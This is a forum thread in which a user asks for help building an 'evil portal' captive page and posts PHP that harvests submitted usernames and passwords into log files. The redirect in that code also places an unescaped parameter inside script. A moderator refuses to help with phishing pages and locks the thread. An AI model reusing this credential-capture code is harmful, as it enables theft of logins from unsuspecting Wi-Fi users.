Jump to content

I need help...


Recommended Posts

Hi,

i have gone through the tutorials for the evilportal module, and now wanted to create a portal on my own for my needs....

I followed the tutorial from frozenjava (which was posted in the forums quite some time ago...), but im having trouble "bending" the code for my needs (basiclly im trying to: get input from "user" and "pass" text field from index.php and print it to a file in /www )...

 

code in index.php:

<snip>

 

code in capture.php:

<?php
 
$user = $_GET["user"];
$pass = $_GET["pass"];
$redir = $_GET["redir"];
 
$file = fopen("stored.txt", "a");
fwrite($file, $user . "\n");
fwrite($file, $pass . "\n");
fclose($file);
 
echo '<script type="text/javascript">window.location = "' . $redir . '"</script>';
 
?>

 

 

I think im messing things up with the variables, but im very inexperienced thus i need some help...

(oh btw: i didnt get that myportal.php replaced capture.php (i think) at first, so that i manually created my captured.php...)

Thanks in advance ;)

Link to comment
Share on other sites

oh and i also tried using the "myportal.php", from the newer tutorial...

code below...

myportal.php

<?php namespace evilportal;

class MyPortal extends Portal
{

    public function handleAuthorization()
    {

      file_put_contents('/root/emails.log',""{$this->request->user}\n",FILE_APPEND);
      file_put_contents('/root/passwords.log',""{$this->request->pass}\n",FILE_APPEND);

        // Call parent to handle basic authorization first
        parent::handleAuthorization();

        // Check for other form data here


    }

    public function showSuccess()
    {
        // Calls default success message
        parent::showSuccess();
    }

    public function showError()
    {
        // Calls default error message
        parent::showError();
    }
}

 

index.php

<mod snip>

I think im doing something really stupid, but i dont know what...

Link to comment
Share on other sites

Sorry - our policy is not to help or encourage the distribution of phishing pages, especially not if they are specific to social media or banking.

You are welcome to ask questions regarding a captive portal, but I will lock this thread for now.

  • Upvote 2
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...